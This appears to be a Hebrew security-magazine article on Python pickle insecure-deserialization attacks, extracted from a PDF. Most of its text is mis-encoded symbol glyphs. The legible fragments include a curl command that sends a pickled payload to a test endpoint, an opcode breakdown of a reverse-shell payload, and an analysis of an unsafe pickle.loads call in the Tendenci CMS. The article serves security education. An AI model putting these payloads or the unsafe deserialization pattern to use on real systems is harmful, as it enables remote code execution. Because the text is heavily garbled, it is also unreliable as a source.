˟˴ˬ˟ ˢˤ˩Ϧ Σˢ˧˧ˮ˟ˢ ˷ˡ˥ˬ  Ϧ˪˷  ˦ ˵˧˧˟ˣ˞ˢ ˸˩˲ˣˢ ˢˢˤ˪   ˸ ˡˣ˵˲˪  ˪ ˮ˧ˬ˶˦ ˪˩˪ ˶˟ˡ   ˭ ˧˧ˮ˰ˣΥ 

 

 

˸˴˶ˢ  ˡˣ˵ˢ   ˯ ˧˲ˡ˸  ˸˞  ˫˷  ˷ˬ˸˷ˬˢ  Σ ˪ ˟˞  ˫ˣ˵ˬ˟  ǿƘƻŀƳƛ  Σ ˪ ˟˞  ˣˮ˪ˣ˩˧  Σ˭ˬ  ˫˸˯ˢ  Σ˳˧˶ˢ˪  ˪˩   l ˣ˵   ˧ ˮˣˡˤ  ˶˥˞ Φ 

˸ˣ˲˵˸ˬ˟ ˫˪ˣ˰˟  ˧˸˧ˬ˞ˢ  Σˡˣ˪˧˧˲ˢ  ˦˰ˬ˩  ˡ˧ˬ˸ ˢ˧ˢ˧  ˡˡˣ˵ˬ  π˟ōŀǎŜсп  Φˢ˟˧˯ˢ  ˨˩˪  ˞˧ˢ ˞ˣˢ˷  ˨˧˶˴  l ˣ˶˷˪  

˶˟˰ˬ  ˨ˣ˸˟  ˸ˣˡ˷  ˪˷  Ƨǎƻƴ  Σ˫˧˶˦ˬ˶˲  ˪˷  I¢¢t  Σˤ˧˵ˣ˵  ˣ˞  ˸ˣˡˣˬ˰  ˯˧˯˟˟  ˫˧ˮˣ˸ˮ  ˫˧˲˴ˬ˷  ˪˟˵˪  ˦˯˵˦  ˞˧˶˵  Φ

˭˩˪   l ˣ˵ ˶˸ˣ˧ ˧˦˯˧˪˞˧˶  ˢ˧ˢ˧ Υ 

 

 

˷˧  ˫˧˷˪  ˟˪  Σ˪˪ˠ˟˷  ˢ˴˶ˢˢ˷  ˪˷  ˡˣ˵ˢ  ˢ˴˧˶ˬ  ˸ˣˡˣ˵˲  ˢˮˣ˩ˬ˟  ˪˷  ˭˟˶ˣ˵ˢ  Σ˷˧  ˸ˣ˟˧˷˥  ˸ˣˡˣ˵˲˪   ˶ ˧˟˰ˮ˷  

ˣˮ˥ˮ˞ˣ   ˫ ˧˩˧˶˴   ˭ ˧˟ˢ˪  ˫ˠ  ˣˤ˧˞  ˸˩˶˰ˬ  ˢ˪˰˲ˢ  ˷˧  ˭˟˶ˣ˵˪  Φ˨˩   ˪ ˷ˬ˪  ˫˞  ˸˶˷ˢ  ˳˶  ˪˰  ¦ōǳƴǘǳ {ŜǊǾŜǊ  Σ ˰ ˡˮ  

http://www.digitalwhisper.co.il/
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˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  мс 
 

 ˫ ˧˞˸ˢ˪  ˸˞  ˸ˣˡˣ˵˲ˢ  π˪[ƛƴǳȄ  Φ˶ˬˣ˪˩  Σ˫˞  ˢˮ˟ˮ  ˸˞  πsǇŀȅƭƻŀŘ  ˣˮ˪˷  ˸˩˶˰ˬ˟  ²ƛƴŘƻǿǎ  ˤ˞ˣ  ˥˪˷ˮ   s ˸ˣ˞  

˭˟˶ˣ˵˪ ˳˧˶ˬ˷ [ƛƴǳȄ Σ˸ˣˡˣ˵˲ˢ ˣ˶˟˰ˣ˧˷   ˞ ˪  x ˡ˟˰˧ ˪˪ˠ˟ ˡˣˡ˧˵ˢ˷ ˢ˷˰ˮ ˸˩˶˰ˬ˟  s ˪˰˲ˢ ˢˮˣ˷Φ 

˧ˡ˩  ˸ˣ˞˶˪   ˨ ˧˞  ˢˤ  ˢ˶ˣ˵  ˢ˧˴˵˧˪˲˞˟  ˸˧˸˧ˬ˞  Σˢˮ˟ˮ  ˸˶˷  Cƭŀǎƪ   ˧ ˪ˬ˧ˮ˧ˬ   ˪ ˟˵ˬ˷  ˰ˡ˧ˬ  ˷ˬ˸˷ˬˢˬ  π˩ǇƛŎƪƭŜ  

ˡˡˣ˵ˬ ˟πōŀǎŜсп  Φ 

 

ˣˢˤ ˠˣ˯ sπŜƴŘǇƻƛƴǘ  ˰˧˲ˣˬ˷  ˟ˣ˶˪ ˸ˣ˧˴˵˧˪˲˞˟  ˸˷ˬˬˬ˷  ǇƛŎƪƭŜ  ˧ ˶ˣ˥˞ˬ ˫˧˰˪˵ˢ Υ 

 

 

˱˵ˣ˸ˢ  x ˡ˧˴ˬ ˶˴ˣ˧  ˸˞ sπǇŀȅƭƻŀŘ  ˞ ˟ˢ ˪πǊŜǾŜǊǎŜ ǎƘŜƭƭ Υ 

 

ˣ˧˷˩˰ˣ  ˱˵ˣ˸ˢ  ˪ˣ˩˧   ˥ ˣ˪˷˪  ˸˶˷˪   ˸ ˞   l ˣ˞ˣ˪˧˧˲ˢ   ˶ ˴˧˷  ˢˮˣ˩ˬ˟  ˣ˪˷  ˧ˡ˩   ˦ ˪˸˷ˢ˪   ˪ ˰  ˢˮˣ˩ˬˢ  ˪˷  ˭˟˶ˣ˵ˢ Υ 

http://www.digitalwhisper.co.il/
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˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  мт 
 

 

curl - d "pickled=<payload>"  http: //127.0.0.1:5000/hackme  
  

˸ˣ˧ˮ˟˸  ˡˣ˪˧˧˲  ˸ˣ˲˯ˣˮ  ˡ˥˧  ˫˰  ˸ˣ˧˴˞˧˶ˣ  ˸ˣ˲˯ˣˮ   ˸ ˣ˞˴ˬˮ  ˣ˲˧˶˟  ˳˪ˬˣˬˢ  ˡˣ˞ˬ  ˪˷  tŀȅƭƻŀŘǎ!ƭƭ¢ƘŜ¢ƘƛƴƎǎ  Υ

ύƘǘǘǇǎΥκκƎƛǘƘǳōΦŎƻƳκǎǿƛǎǎƪȅǊŜǇƻκtŀȅƭƻŀŘǎ!ƭƭ¢ƘŜ¢ƘƛƴƎǎκōƭƻōκƳŀǎǘŜǊκLƴǎŜŎǳǊŜ҈нл5ŜǎŜǊƛŀƭƛȊŀǘƛƻƴ

tȅǘƘƻƴΦƳŘκό 

ˤ˞  ˢˬ  ˫˴˰˟  ˢ˶˵  ˢ˲  ˧˶ˣ˥˞ˬ  ˫˧˰˪˵ˢ  Κ˰ˠ˶˟  ˸˶˷˷  -sCƭŀǎƪ  ˞˶ˣ˵  ˪ ǇƛŎƪƭŜΦƭƻŀŘǎ ˤ˞ ψψǊŜŘǳŎŜψψ  ˸ ˪˰˲ˣˬ  Σ

ˢ˧˴˵ˮˣ˲ˢ ƻǎΦǎȅǎǘŜƳ ˢ˴˧˶ˬ  ˸˞   ˸ ˡˣ˵˲  πsǊŜǾŜǊǎŜπǎƘŜƭƭΣ ˱˵ˣ˸ˢˣ  ˪˟˵ˬ  ˪ˣ˯ˮˣ˵   ˪ ˰  ˸˶˷ˢ  Φˢ˲˵˸ˬˢ   s ˪ˣ˩  

˸˷˶ˣˡ ˸˷˵˟ I¢¢t  ˸ ˥˞ ˡ˟˪˟ ˷˧˥˶˸˟ˣ  ˣˮ˶˴˧˷  ˫ ˠ ˞˪˪  ˨˶ˣ˴  ˢ˧˴˵˧˦ˮ˸ˣ˞˟Φ 

˧ˡ˩  ˭˧˟ˢ˪   ˵ ˬˣ˰˪   ˸ ˞  ˸ˬ˴ˣ˰  ˫ˣ˧˞ˢ  Σ ˨ ˧˶˴   ˵ ˧˯˲ˢ˪  ˯˥˧˧˸ˢ˪   ˪π ǇƛŎƪƭŜ   ˪ ˞˩   ˦ ˬ˶ˣ˲  ˢ˶˧ˬ˷   ˧ ˦˶ˡˮ˦˯   ˭ ˧˟ˢ˪ˣ  

ˢ˷˰ˬ˪˷ ǇƛŎƪƭŜ ˪ˢˮˬ  ˸ ˲˷  ƻǇŎƻŘŜ  ˸ ˧˪˞˧˶ˣˡ˴ˣ˶˲ ˸˧ˬ˧ˮ˲Φ 

˫˞  ˢ˷˰ˮ  ŘŜŎƻŘŜ   l ˞ˣ˪˧˧˲˪   x ˮ˥˪˷˷  ύ x ˮ˶˴˧ˣ   ˪ ˰  ˸˩˶˰ˬ   s ˪˰˲ˢˢ  [ƛƴǳȄ   x ˶˦˯˧ˡ˟   ˪ ˷  Yŀƭƛ  ό ˪ ˟˵ˮ  ˸˞   ˸ ˣˡˣ˵˲ˢ  

˸ˣ˞˟ˢ  π˟ƻǇŎƻŘŜ Υ 

 

 

˪˩ ˢˡˣ˵˲  x ˤ˩˷ ˫˴˰˟ ˸˲˯ˣˣ˸ˬ  ˸ ˧ˮ˯˥ˬ˪ ˣˮ˪˷ ˷ π ǇƛŎƪƭŜ˰˴˟˧  ˶ ˥˞˪ ˢ˧ˮ˟ˢ ˧˲˪ ˶ˡ˯ˢ Υ 

http://www.digitalwhisper.co.il/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md
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˸˶˧˵˯   ˸ ˣˡˣ˵˲  πsƻǇŎƻŘŜ   ˸ ˣ˧ˬ˪ˣˠˢ  ˢˠ˧˴ˬ   ˶ ˣ˶˧˟˟   ˸ ˞  ˧˲ˣ˞ˢ   ˪ ˷  ǇƛŎƪƭŜ  ˢˮˣ˩ˬ˩  ˢ˶˧˰ˤ  Φ sπǇŀȅƭƻŀŘ   x ˮ˥˪˷˷  

 ˫ ˠ˶ˣ˸ˬ ˪˰ ˧ˡ˧ ˭ˣˮˠˮˬˢ ˪˷ ǇƛŎƪƭŜ ˢ˶ˣ˴˟ ˢ˞˟ˢ Υ 

.ȅǘŜ {ŜǉǳŜƴŎŜ ˶ˣ˦˶˲ˣ˞ ξ˵˪˥   ˧ ˠˣ˪  ˸ ˣ˰ˬ˷ˬ 

ξȄулξȄлп tǊƻǘƻŎƻƭ IŜŀŘŜǊ ˪ˬ˯ˬ  ˭ˣ˸˧˧˲˪  ˣˮ˥ˮ˞˷  

˫˧˷ˬ˸˷ˬ  π˟ ǇƛŎƪƭŜ˞˯˶ˠ  п 

ξȄфр CǊŀƳŜ hǇŎƻŘŜ ˪ˬ˯ˬ  ˸ ˞ ˸˪˧˥˸  s ˦˞ˡˢ 

ƴξȄллξȄллξȄллξȄллξȄллξȄллξȄлл CǊŀƳŜ {ƛȊŜ ˪ˬ˯ˬ  ˶ ˲˯ˬ ˸˦˧˷˟ ˢ˶˧˲˯  

˪˷  ƭƛǘǘƭŜ ŜƴŘƛŀƴ ˪ˡˣˠ˟  у  

˫˧˸˟ ˪ˬ˯ˬ  ˸˞ sπŦǊŀƳŜ 

ǎƛȊŜ Σ˪˷ ммл  ˫ ˧˸˟ 

ξȄуŎξȄлр {ǘǊƛƴƎ [ŜƴƎǘƘ ˭˧˩ˬ ˸˞ ˭ˣˮˠˮˬˢ  ˪˟˵˪  

ˠˮ˧˶˦˯  ˨˶ˣ˞˟  р 

http://www.digitalwhisper.co.il/
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ǇƻǎƛȄ aƻŘǳƭŜ ¢ŀǊƎŜǘ ˪ˬ˯ˬ  ˭ˣˮˠˮˬ˪   l ˣ˟˰˪ ˧˲˪  

 ˪ ˣ˵ˣ˦ˣ˶˲ ˫˧˞˸ˬ˷   ˪π

ǳƴƛȄξƭƛƴǳȄ 

˸ˣˡˣ˵˲ ˸ˣ˲˯ˣˮΦΦΦ 

ǊƳ κǘƳǇκŦΤ ΦΦΦ Ҕ κǘƳǇκŦ ¢ƘŜ 9ȄǇƭƻƛǘ /ƻƳƳŀƴŘ ˢˡˣ˵˲ˢ  x ˤˢ ˸˵˥ˣˬ ǇƛǇŜ  

˫˧ˮ˷˧  ˣ˧ˢ˷  ˢ˴˧˶ˬˣ tƛǇŜ  

˷ˡ˥  ˶ ˷˲˞ˬ˷  x ˮ˪ ǊŜǾŜǊǎŜ 

ǎƘŜƭƭ 

˸ˣˡˣ˵˲ ˸ˣ˲˯ˣˮ ... 

Φ {ǘƻǇ hǇŎƻŘŜ ˪ˬ˯ˬ  ˸ ˞ ˫ˣ˧˯ˢ ˪˷  

˸ˣ˪ˣ˰˲ˢ ˪πŦƛƭŜ ǎǘǊŜŀƳ   

˶˧ˤ˥ˬˣ  ˸˞ ˢ˦˧˪˷ˢ   ˪π

ǇȅǘƘƻƴ  ˨˷ˬˢ˪ ˸˴˶ˢ  

˸˧ˮ˩ˣ˸ˢΦ 

 

 

ˣˬ˧˷ ˟˪  ˧˲˩  ˣˮ˶˩ˤˢ˷ ˫ˡˣ˵ ˸˞  ˪ˣ˵ˣ˦ˣ˶˲  ǇƻǎƛȄ ˶ˡˠˣˢ˷ ˭˲ˣ˞˟  ˷˶ˣ˲ˬ  Φ ˶ ˟ˣˡˬ   ˟πƻǇ ŎƻŘŜ  ˱˯ˣˣ˸ˬ˷ ˪˰ ˧ˡ˧  

πs ǇƛŎƪƭŜ  ˨ ˧˪ˢ˸˟ ˢ˧˴ˤ˧˪˞˧˶˯ˢ ˫˞˸ˢ˟  ˸˩˶˰ˬ˪  s ˪˰˲ˢˢ ˢ˟˷ ˞ˣˢ ˳˶  Φ 

˭˟ˣˬ˩  ˶˷˲˞˷  ˭˲ˣ˞˟  ˧ˮˡ˧  ˱˧˪˥ˢ˪  ˸˞  ˪ˣ˵ˣ˦ˣ˶˲ˢ  π˪ƴǘ  ύǿƛƴŘƻǿǎ  όˡˣ˰ˣ  ˪˪˷  ˫˧˵˥˷ˬ  ˸ˣ˧˴˪ˣ˲˧ˮˬˣ  Σ˪˟˞   ˧ ˲˩  

ˣˮ˶˩ˤˢ˷  ς  ˢ˟ˣ˥  ˞ˡˣˣ˪   ˸ ˣˡˣ˵˲ˢ˷  ˸ˣˬ˞ˣ˸   ˸ ˞  ˸˩˶˰ˬ  ˢ˪˰˲ˢˢ  ˶˞˷˷ˣ  πsƻǇŎƻŘŜǎ   ˫˧ˬ˞ˣ˸   ˟ ˷˥ˬ˪   ˪ ˷  

˭˟˶ˣ˵ˢ  Φ 

ˣˬ˧˷ ˟˪ ˢ˦˧˷˪ ˪˷ ˪ˣ˴˧ˮˢ ˢ˷˪ˣ˥ ˣ˪˟˞˧ˡ˟  н ˞ˬˠˣˡ˟ˣ ˣˮˠ˴ˢ˷ Φ˧ˮ˷˟ ˫˧˶˵ˬˢ Σ˭ˣˮˠˮˬ ˢ˧˴ˤ˧˪˞˧˶˯ˡˢ ˪˟˵ˬ  

˫˶ˤ   ˫ ˧˦˧˧˟  ˶ˣ˵ˬˬ  ˞˪˷  ˭˸˧ˮ  ˨ˣˬ˯˪  ˣ˧˪˰  Σ˰˴˟ˬˣ  ˢˮˣˬ˞˟  ˸˶ˣˣ˧˰  ˸˞  ˢˬ  ˫˧˦˧˧˟ˢ˷  ˫˧˶ˣˬ  ˣ˪  ˸ˣ˷˰˪  Φ ˷ ˶˲ˬˢ  

˪˷  ˸˶˷  ˵˥˷ˬˢ  ˪˷  ˣ˪˟˞˧ˡн  ύ5нD{  ό˨ˬ˯  ˪˰  ˶ˡ˯ˢ  ˨˶ˣ˞ˢˣ  ˪˷  ˸ˣˡ˷ˢ  ˫˧˧˶˞ˮ˧˟ˢ  Φ˸˧˧˴˵ˮˣ˲  ǇƛŎƪƭŜΦƭƻŀŘǎ  

˸˩ˬˣ˯  ˪˰   ˸ ˧ˮ˩ˣ˸   ˟ ˷˥ˬ  ˢˬ˪˷  ˢ˟ˣ˸˩ˣ  Φ˪ˡ˟ˢˢ  ˞ˣˢ   ˸ ˬ˶˟  ˸ˣ˞˷˶ˢˢ  ΦǇƛŎƪƭŜ  ˵˧ˮ˰ˬ  ˱˵ˣ˸˪  ˸˶˧˶˟˩   ˪ ˡ˥ˬ  

˰ˣˮˬ  ˢ˴˶ˢ  ˫˪˷  Σ˭˩˪ˣ  ˪ˣ˴˧ˮˢ  ˣ˪˷  ˷˶ˣˡ  ˫˧ˬ˰˲˪  ˞˪  ˶˸ˣ˧  ˸˶ˣ˷ˬ  ˡˣ˵  ˸˥˞  ˡ˟˪˟  ˣ˞  ˟ˣ˪˧˷  ˪˷  ˢˬ˩  ˠˡ˞ˠϥ ˫ ˧˦  

 ˫ ˧˦ˣ˷˲, ˫ˣ˵ˬ˟  ˶ˣ˷˶˷  ˸ˣ˷˪ˣ˥  ˟ ˩˶ˣˬ ˶˸ˣ˧  ˷˶ˣˡ˷  ˸˯˧˶ˡ  ˭ˣ˶˩˧ˤ  ˢ˧˴˪ˣ˲˧ˮˬˣ  [ƻǿ [ŜǾŜƭ Φ 
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/±9πнлнсπнофпс ς ˸˷˪ˣ˥ ǇƛŎƪƭŜ  ˫ ˪ˣ˰˟  ˧ ˸˧ˬ˞ˢ 

 s ˷˪ˣ˥ˢ  ˣˤˢ  ˸ˬ˧˧˵   ˸ ˣ˞˯˶ˠ˟  ǾмрΦоΦмм  ˢ˦ˬˣ  ˪˷  ¢ŜƴŘŜƴŎƛ  Σ ˦ ˵˧ˣ˶˲  hǇŜƴ {ƻǳǊŎŜ  ˵˲˯ˬ˷   ˸ ˣ˩˶˰ˬ  /wa  

˸ˣ˸ˣˬ˰˪   ˫ ˧ˮˣˠ˶˞ˣ   ˞ ˪˪  ˸ˣ˶˦ˬ  ˥ˣˣ˶  Φ ˭ ˸˧ˮˣ  ˡ˧˶ˣˢ˪   ˸ ˞  ˡˣ˵ˢ   ˪ ˷  ˞˯˶ˠˢ  ˢ˰˧ˠ˲ˢ  ˭˞˩  Υ

ƘǘǘǇǎΥκκƎƛǘƘǳōΦŎƻƳκǘŜƴŘŜƴŎƛκǘŜƴŘŜƴŎƛκǊŜƭŜŀǎŜǎκǘŀƎκǾмрΦоΦмм Φ 

ˠ˧˧ˡ  ˥˪˴ˣˬ  ˨˪ˣˢ  ˨˶ˡ˟  ˪˪˩  ˫ˣ˵ˬ˪  ˣ˟  ˷˧   ˫ ˧ˠˡ  Σ˭˩˪ˣ  ˫˞  ˢ˴˶ˮ  ˞ˣ˴ˬ˪  ˸ˣ˷˪ˣ˥  ǇƛŎƪƭŜ  ˣˮ˥ˮ˞   ˫ ˧˩˧˶˴  ˷˲˥˪  

˫˧˦˵˧ˣ˶˲  ˫˪ˣ˰˟  ˧ ˸˧ˬ˞ˢ ˫˧˷ˬ˸˷ˬ˷   ˭ ˣˮˠˮˬ˟  ˪ ˷ ǇƛŎƪƭŜ Φ 

˸˥˞  ˫˧˩˶ˡˢ  ˢ˟˷  ˧ˮ˞  ˟ˢˣ˞   ˞ ˣ˴ˬ˪  ˫˧ˮˣˣ˧˩   ˸ ˣ˷˪ˣ˥˪  ˭ˬ˞˸ˢ˪ˣ  ˧˶˥˞  ˧˸ˡˬ˪˷   ˨ ˶ˡ  ˢ˷ˡ˥  ˪ˣ˴˧ˮ˪   s ˷˪ˣ˥   ˞ ˧ˢ  

 ˟ ˞ˢ˦˧ˠ  ˠˮ˧˵˶ˣˡ   ς  ˷ˣ˲˧˥  ˸ˣ˪˧ˬ  ˥˸˲ˬ   ˸ ˞˧˴ˬ˪  ˸ˣ˷˪ˣ˥ Φ  ˡ˥˞   ˫ ˧˪˩ˢ  ˫˧˥ˣˮˢ   ˷ ˣˬ˧˷˪   ˞ ˣˢ  grep.app  ύ ˸ ˣ˶ˬ˪  

˫ˠ˷ ˭˸˧ˮ  ˸ˣ˷˰˪  ˸˞  ˷ ˣ˲˧˥ˢ  ˸ˣ˰˴ˬ˞˟ sπAPI ˪˷ ˟˞ˢ˦˧ˠ  ό ˶ ˷˲˞ˬ˷  ˷ ˲˥˪ ˪˰ ˧˲  ˸ ˣ˪˧ˬ  ˥˸˲ˬ Φ˨˩ ˪˷ˬ˪  

˫˞  ˷˲˥ˮ   Ϧ eyJhbGciOiJ  Ϧ˞˴ˬˮ  JWT  ˫˧˲ˣ˷˥  ˧˶ˣ˦˧ˤˣ˲˶˟ ˫˧ˮˣ˷  Σ˭˩˷  ˢˤ  ˞ˣˢ  ˵˪˥ˢ  ˥˸ˣ˲ˢ  ˪˷  πsheader  

˪˷ JWT Υ 

 

 

˯ˮ˩˧ˮ ˡ˥˞˪ ˤˣ˲˧˶ˢˬ  ˞ ˴ˬˮˣ ˸˞  ˭ ˵ˣ˦ˢ ˱ˣ˷˥   ˭ ˧˦ˣ˪˥˪ Υ 
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˫˧˷ˮ  ˟˪  ˣˮ˞˴ˬ˷  ˢˬ˩  ˫˧ˡˣ˷˥  ˫˧˧˶˷˲˞   ύ19,159  ˶˸˧˪  ˵ˣ˧ˡˢ  Σό˪˟˞   s ˡ˟ˣ˰ˢ  ˷˧˷  ˸˞   ˰ ˦˵ˢ  ˡˣ˵   x ˮ˞˷  

˫˧ˡ˷ˣ˥ x˟ ˰˧ˠ˲˩  ˞˪  ˸˶ˬˣ˞  ˥˶˩ˢ˟˷ ˷˧ ˢ˷˪ˣ˥ Φ 

 ˵ ˪˥˩  ˨˧˪ˢ˸ˬ   ˷ ˣ˲˧˥ˢ  ˧˸˧˪˰ˢ   ˟ ˣ˞˟   ˸ ˞  tendenciΦ ˧˸˴˶ˢ  ˦˲˧˶˵˯  ˭˲ˣ˞˟˷   ˧ ˦ˬˣ˦ˣ˞  ˷˲˥ˬ   ˸ ˣ˪˧ˬ   ˥ ˸˲ˬ  

ˣˬ˩  security, deserialization, patch, vulnerable, vulnerability  ˣ˩ˣ  ϥπ˟commits   Σissues  ˢˣπPRπ˫˧   ˪ ˷  

˦˵˧ˣ˶˲ˢ  ˧˸˞˴ˬˣ  ˦˵˧ˣ˶˲˪˷  ˢ˸˧˧ˢ   ˶ ˟˰˟  ˸˴˶˲  deserialization  ˸ˮ˷˟  нлнл  

ύhttps://github.com/tendenci/tendenci/issues/867  Φό 

 ˭ ˣˣ˧˩ˬ   ˸ ˣ˰˦˷  ˫˪ˣ˰˪  ˸˶ˤˣ˥  Σ˫˧˧ˣ˩˧˯ˢ   ˦ ˵˧ˣ˶˲˟˷   ˫ ˧ˣ˯ˬ  ˣ˟  ˢ˸˧˧ˢ  ˶˟˰˟   ˸ ˪˵˸   s ˧˴ˤ˧˪˞˧˶˯ˡ   s ˧ˢ˸   ˟ ˣ˷  

ˢ˪˵˸  ˢˬˣˡ ˫ˢ   ˞ ˪ ˫˧ˮ˦˵ Σ˶˵˧˰˟ ˶˟ˣ˰˷˩ ˭ˬˤ  ˟˶ ˤ˞ˬˬ ˴˞˲ˢ˷ ϥˢ˷˰ˮ˷ Φ 

˥˸˲ˮ   ˸ ˞   l ˣ˵ˢ  ˪˷  ¢ŜƴŘŜƴŎƛ   ˳ ˧˶ˮ   ˷ ˣ˲˧˥   ˪ ˷   ˸ ˪˧ˬ  ˥˸˲ˬˢ  ǇƛŎƪƭŜΦƭƻŀŘǎ   ˢ˞˶ˬ˷   x ˮ˪  н  ˫˧˶˵ˬ  ˫ˢ˟   ˞ ˧ˢ  

ˢ˰˧˲ˣˬ  ˳˟ˣ˵˟  ǎǘŀŦŦΦǇȅ  Σ˸˥˞˷˩  ˫ˢˬ  ˢ˵ˣ˥ˬ  ˢ˶˰ˢ˟  Σˢˤ˷  ˨˶ˡ˟  ˪˪˩  ˫ˠ  ˭ˬ˧˯  ˡˣ˵˪  ˶˞˷ˣˢ˷  ˧ˡ˩   ˪ ˲ˣ˦˧˷  

˨˷ˬˢ˟ Φ 

 

 ˢ˵˧˦˵˶˲  ˞˪  ˢ˟ˣ˦   ˞ ˧ˢ  ˸ˣ˪˰ˢ˪  ˡˣ˵   ˫ ˰  ˸ˣ˶˰ˢ   ˸ ˣ˶˯˥˷  ˸ˣ˰ˬ˷ˬ  ˡˣ˵˪  ˫˧˧˵ˢ  ˭˷˵ˡˣ˶˲˪  Σ˭˩˷  ˭ˢ   ˸ ˣ˪ˣ˪˰  

 ˵ ˲˯˪  ˱ ˵ˣ˸˪ ˡˣ˰  ˰ ˡ˧ˬ ˪˰ ˫˧˶˟ˡ  ˞˪ ˫˧˥˦˟ˣ˞ˬ  ˯ ˧˧˟ˡˣ˵˟  ˣˮ˪˷  Φ 

˨˩   ˪ ˷ˬ˪   x ˮ˥ˮ˞   ˫ ˧˪ˣ˩˧   ˸ ˣ˞˶˪  ˢ˶ˣ˷ˢ˷   ˪ ˰ˬ   s ˶ˣ˷ˢ   x ˵˥ˬ˷   ˫ ˰  ˦ˮˬˣ˵ˢ  ˫˴˰˟   ˸ ˷ˬ˸˷ˬ   ˟π

ǎƛƳǇƭŜƧǎƻƴΦƭƻŀŘǎ  Σˣˤ  ˞˧ˢ  ˢ˞˴ˣ˸  ˪˷  ˴˞˲  ϥˢ˷˰ˮ˷  ˢ˧˶˲˯˪  π˟нлнл   ˸ ˣ˟˵˰˟  ˢ˴˶˲  ˢˬˣˡ   ˸ ˷ˬ˸˷ˬ˷  

http://www.digitalwhisper.co.il/
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˭ˣˮˠˮˬ˟ ˞˪ˢ ˥˦˟ˣ˞ˬ   ˪ ˷ ǇƛŎƪƭŜ Φˢ˴˶˲ xʕ ˢ˪˟˧˵  ˸ ˞ ˢˢˤˬˢ /±9πнлнлπмпфпн Φ 

 

 ˪ ˟˞  ˫ˣ˵ˬˢ   ˞ ˟ˢ  ˣ˟˷   s ˰˧˲ˣˬ   ˵ ˣ˧ˡ˟  ˢ˸ˣ˞   s ˧˴˵ˮˣ˲  ˪˷  ǇƛŎƪƭŜΦƭƻŀŘǎ   ˨ ˷ˬˢˢ˟  ˳˟ˣ˵ˢ   ˞ ˪  ˸˪˲˦ˬ   ˭ ˲ˣ˞˟   ˭ ˣ˩ˮ  

 ˦ ˪˵˟ ˯ˮ˩ˮˢΥ 

 

˪˰ ˸ˮˬ  ˰˧ˠˢ˪  π˪ǇƛŎƪƭŜΦƭƻŀŘǎ ˵˪˥˟ ˢˤ  ˪˷ ˡˣ˵ˢ ˨˶˦˴ˮ   ˶ ˧˟˰ˢ˪ ˰ˡ˧ˬ  ˢ˧˴˵ˮˣ˲˪ ǊǳƴψǊŜǇƻǊǘ  Φ 

˭˥˟ˮ  ˸ ˞ ˡˣ˵ˢ ˢ˧˴˵ˮˣ˲ˢˬ ˢ˰˧ˠ˲ˢ  ˢ˪˰ˬ˪ ˢ˞˶ˮˣ ˢ˶ˣ˷˷  млсн ˳˟ˣ˵˟ Υ 

query_params = pickle.loads(b64decode(str(saved_query.query).encode()))  
  

 

 ˸ ˪˟˵ˬ   ˨ ˣ˸˟  ˢ˧˴˵ˮˣ˲ˢ   ˪ ˷  ǇƛŎƪƭŜ  ˸˞  ˢˮ˸˷ˬˢ  ǎŀǾŜŘψǉǳŜǊȅΦǉǳŜǊȅ   ˥ ˪˷ˮ˷  ˸˶˷˶˷˟   ˸ ˣ˞˧˶˵ˢ  ˪˰  ˧ˡ˧  

ǊŜǉǳŜǎǘ  ˸˧˲˧˴˲˯ˣ   ˪ ˰ ˧ˡ˧ ǊŜǉǳŜǎǘΦD9¢ΦƎŜǘόϥǎŀǾŜŘψǉǳŜǊȅϥύ 

ˤ˞  ˢˤˬ   ˭ ˸˧ˮ   ˭ ˧˟ˢ˪  ˢ˷πǇŀȅƭƻŀŘ   ˨ ˧˶˴˷  ˥ˣ˪˷˪   ˧ ˡ˩   ˵ ˣˡ˟˪  ˫˞  ˸ˬ˧˧˵  ˢ˷˪ˣ˥  ˞ˣˢ  ˦˵˧˧˟ˣ˞  ǇƛŎƪƭŜ  ˡˡˣ˵ˬ  π˟

ōŀǎŜсп Σ˶˟˰ˣ˧˷  ˨ ˶˰˩  ˪ ˷ ˶˦ˬ˶˲ˢ ǎŀǾŜŘψǉǳŜǊȅ ˸˟ˣ˸˩˟  πs¦w[Φ 

˫˧˪˧ˬ˟  ˸ˣ˶˥˞  Σ˫ˣ˵ˬ˟  πsL5  ˪˷  {ŀǾŜŘ{ŜŀǊŎƘ  ˧ˬ˧˦˧ˠ˪  Σ˥˪˷ˮ   ˸ ˞  πsL5   ˪ ˷  ˦˵˧˧˟ˣ˞  {ŀǾŜŘ{ŜŀǊŎƘ   x ˮ˶˴˧˷  

˷˞˶ˬ  Σ ˪ ˧˩ˬ˷ ˣ˩ˣ˸˟  ˸ ˞ sπǇŀȅƭƻŀŘ ˡˡˣ˵ˬˢ ˟πōŀǎŜсп ˢˡ˷˟ ǉǳŜǊȅ  ˣ˪˷Φ 

 ˶ ˥˞˪  ˣˮ˶˴˧˷  ˣˮˬ˴˰˪  ˸˟˧˯  ˢˡ˟˰ˬ  ˪˷  ˦˵˧ˣ˶˲ˢ  ύ˧ˮ˞  ˭˲ˣ˞˟  ˧˷˧˞  ˡ˧ˬ˸  ˱˧ˡ˰ˬ  ˱ˣ˦˰˪  ˡˣ˵  ˪˷  ˦˵˧ˣ˶˲   ˶ ˤ  

http://www.digitalwhisper.co.il/


 
 

  πtƛŎƪƭŜ   tȅǘƘƻƴ      
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  нп 
 

˶˵ˣˡ˟  ˳˧˶ˢ˪ˣ ˨ˣ˸˟ ˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣ ό˶ˣ˴˧ˮ  ˸˞  l ˞ˣ˪˧˧˲ˢ ˧˲˩ ˣˮˡˬ˪˷ Υ 

 

˳˧˶ˮ ˸˞ ˢ˯˲ˡˢˢ  ˪˟˵ˮˣ  ˸˞   l ˞ˣ˪˧˧˲ˢ Υ 

 

˸˰˩  ˥˪˷ˮ  ˣ˸ˣ˞  ˸˷˵˟˩ th{¢  ˫˰  ˷ˬ˸˷ˬ ˫ˣ˷˶  ˸˩˶˰ˬ˟  ύ˷ˬ˸˷ˬ  ˪˧ˠ˶  ˠˣ˯ˬ ǎǘŀŦŦ  ˞˪˪  ˸ˣ˞˷˶ˢ  ˸ˣ˟˶  ό

